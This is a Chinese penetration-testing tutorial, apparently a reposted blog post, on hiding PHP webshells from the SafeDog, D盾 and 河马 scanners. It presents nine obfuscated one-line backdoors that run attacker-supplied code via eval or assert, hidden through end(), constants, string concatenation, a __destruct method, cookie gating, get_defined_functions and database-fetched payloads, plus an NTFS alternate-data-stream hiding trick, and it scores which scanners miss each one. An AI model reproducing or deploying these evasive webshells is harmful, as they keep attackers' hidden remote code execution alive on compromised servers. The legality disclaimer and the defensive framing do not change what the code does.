作者:禅茶一味2502922807_527 | 来源:互联网 | 2023-10-17 13:05
渗透测试基础 - bypass-绕过阻挡我们的WAF(下)
- 简介
- 前期测试原理
- 方法一 (end函数)
- 方法二 (定义常量)
- 方法三 (字符串拼接 + 双美元符)
- 方法四 (强行分割)
- 方法五 (魔术方法执行)
- 方法六 (COOKIE传参加入条件)
- 方法七 (get_defined_functions)
- 方法八 (远程获取)
- 方法九 (CMD藏文件之NTFS文件流)
- 漏洞总结
只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力?!
【请进行合法的渗透测试,有关内容只是用作个人复习。
】
简介
上次介绍了如何绕过安全狗的测试语句检测,这次将介绍,在得到webshell权限后,如何让自己的木马文件不会被发现并删除。以webshell查杀来说,安全狗确实差了点意思,稍微对语句做一点变动,安全狗就不能有效的识别,所以这里会在多加入两个webshell检测工具,进行同步测试。【在正常的渗透测试中,是不需要做到让咱们的木马达到不被发现并删除的情况,所以我们这里还是以学习为主,当安全工具检测到恶意文件并无法确定是不是木马文件时,这就需要我们来进行评判了
】
三个webshell查杀工具下载地址:
【安全狗】:http://free.safedog.cn/website_safedog.html
【D盾】:http://www.d99net.net/News.asp?id=62
【河马】:https://www.shellpub.com
前期测试原理
在网站目录下留下一个较为常见的一句话木马文件,然后和网站安全狗配合测试。
安全狗一下就找到了它的存在,那这样是不行的,总不能刚刚放了一个文件进去就被发现了吧,那可太拉跨了,所以我们得对其进行一下测试,看看安全狗到底是因为什么而发现的它。
在删除了$_REQUEST
后面的中括号之后,发现安全狗好像没有认为其是木马文件了,所以这里是对中括号进行了拦截嘛?在测试一下前面的eval
试试。
发现这样也是不拦截的,所以我们能不能采用替换的方法先试试呢?
eval
是可以被assert
所代替的,这个下面有例子能讲解。
那中括号呢有没有办法让其既不出现,但是这个文件又能达到木马的作用呢?
方法一 (end函数)
eval(end($_REQUEST));?>
根据了解知道 函数end()
就是输出数组中最后一个值的,那这里的$_REQUEST
刚刚好接收到的数据就是数组的形式。
eval(end($_REQUEST));?>
所以这里end
来获取$_REQUEST
的值,然后再次给eval
执行,既不用写刚刚的中括号,又让其能执行,这里来测试一下。
这里测试使用是没有问题的 拿到安全狗检测一下。
安全狗说自己没有发现,那这样就逃过了安全狗的检测。能过安全狗还不行,咱们再试试D盾和河马。
能看到河马也没有查出来,只有D盾能检测到。
方法二 (定义常量)
define("a","$_REQUEST[a]");eval(a);?>
定义常量 define
(常量的名字
,常量的值
),a
的值,就是$_REQUEST[a]
接收到的值,然后在后面eval
执行。
执行没问题,三个软件检查一下。
安全狗(卒
)
河马(卒
)
D盾(检查到威胁4级【1-5级,5级紧急】
)
方法三 (字符串拼接 + 双美元符)
$a = 'ass';
$b = 'ert';
$funcName = $a.$b;
$x = 'funcName';
$$x($_REQUEST[a]);
?>
这里就将eval
替换为了assert
,因为eval
禁止拼接执行,所以这里只有assert
才能这么玩
将assert
拆开了,分别赋值给 $a 和 $b ,然后下面将其拼接回来,并将assert
字符串值赋值给了$funcName
,然后$x
= 字符串的funcName
,下面是双美元符号,因为$x == funName
而$funcName == assert
所以最后的结果就是assert($_REQUEST[a])
。
正常使用,还是用webshell
工具查杀一下
安全狗(卒
)【安全狗这小子,成绩一直很稳定】
河马(检测到威胁
)
D盾(检查到威胁3级相比于刚才降低了一级
)
方法四 (强行分割)
function a($a){
return $a;
}
eval(a($_REQUEST)[a]);
?>
这里自定义一个叫a
的函数,括号里面放入$a
,下面是return
返回$a
的值,这里就是,往$a
里面传什么进去,就会返回什么回来。eval
执行(函数a
想要将$_REQUEST
传入进去,然后返回回来一个$_REQUEST
,然后就形成了eval($_REQUEST['a']))
。
正常使用,webshell
工具检测一下
安全狗(卒
)
河马(卒
)
D盾(检查到威胁5级
)【D盾这小子打小就聪明】
方法五 (魔术方法执行)
class User{
public $name = '';
function __destruct(){
eval("$this->name");
}
}
$user = new User;
$user->name = ''.$_REQUEST['a'];
?>
- 定义一个叫
User
的类 - 声明一个
name
公有变量 但是没有给其赋值 - 定义一个魔术方法,
__destruct()
的意思是当对象被销毁时执行【一定会执行的,因为一定会销毁】
- 销毁时执行
eval("$this->name");
这里也是还没有跟name
赋值 - 将
User
类实体化 - 将得到的值放入
name
中,然后放到上面的eval
执行。
正常使用,webshell
工具查杀一下
安全狗(卒
)
河马(卒
)
D盾(检查到威胁5级
)【该买谁 现在知道了吧】
方法六 (COOKIE传参加入条件)
$COOKIE = $_COOKIE;
foreach( $COOKIE as $key => $value)
{
if($key=='assert'){
$key($_REQUEST['a']);
}
}
?>
先获取COOKIE
值,将COOKIE
的值放入$COOKIE
中,因为COOKIE
获取到的值是数组形式,所以这里用foreach
进行结果遍历,将结果和值,分别放入$key
和 $value
中【键值分离】。然后if
条件判断,当COOKIE
中键等于assert
时,拿着$key
去执行$_REQUEST
传入过来值。
【COOKIE不传入assert 是不能正常执行的
】
继续测试查杀软件的成绩
安全狗(卒
)
河马(检测到威胁
)
D盾(检查到威胁2级
)
方法七 (get_defined_functions)
$a = get_defined_functions();
$a[internal][841]($_REQUEST['a']);
?>
这里开局就遇到一个不认识的东西,我们看看是啥
那前面的数字是什么意思呢,输出一下看看。
那这样就好理解了,get_defined_functions()
将得到的数据全部放入$a
中,然后用$a[internal][841]
去检索里面的值,将assert
给取出来,和后面的($_REQUEST['a'])
相结合使用。【不得不说,想出这个的老哥还是秀的呀】
查杀软件的成绩
安全狗(卒
)【专业陪跑】
河马(卒
)
D盾(检查到威胁2级
)【全靠友商衬托 哈哈】
方法八 (远程获取)
'''
eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','mysql_database','post'),'select * from jinx'))['info'])
'''
?>
这里有三个函数,一个个了解一下
mysqli_fetch_assoc
:就是从结果里面取一行数据
mysqli_query
:这个一下连下面那个的意思也解释了,第一个做链接,第二个是查询
mysqli_connect
:链接数据库
那这样就好解释了
执行(取一行数据(查点数据(链接数据库,取出表jinx
里面的所有数据))【查询的条件:info
字段】)
在配上这样一个图,就大功告成。
也测试一下。
webshell
查杀一下。
安全狗(检测出威胁
)【ohhhhhhhhhh】
河马(卒
)【小丑竟是我自己】
D盾(检查到威胁5级
)【基操勿6】
方法九 (CMD藏文件之NTFS文件流)
【网站目录下存放文件】
【网站目录下打开CMD】 echo "" >> /:123.txt
执行完了之后好像什么都没有发生,但其实已经完成了。
最后再来看看测试结果。
安全狗(卒
)
河马(卒
)
D盾(卒
)
漏洞总结
本次介绍的这些方法都还算比较实用的,如果在现实中有遇到安全软件吃不准的情况下,个人就可以做一下判断,来确定是不是木马文件。
《最好的防御,是明白其怎么实施的攻击》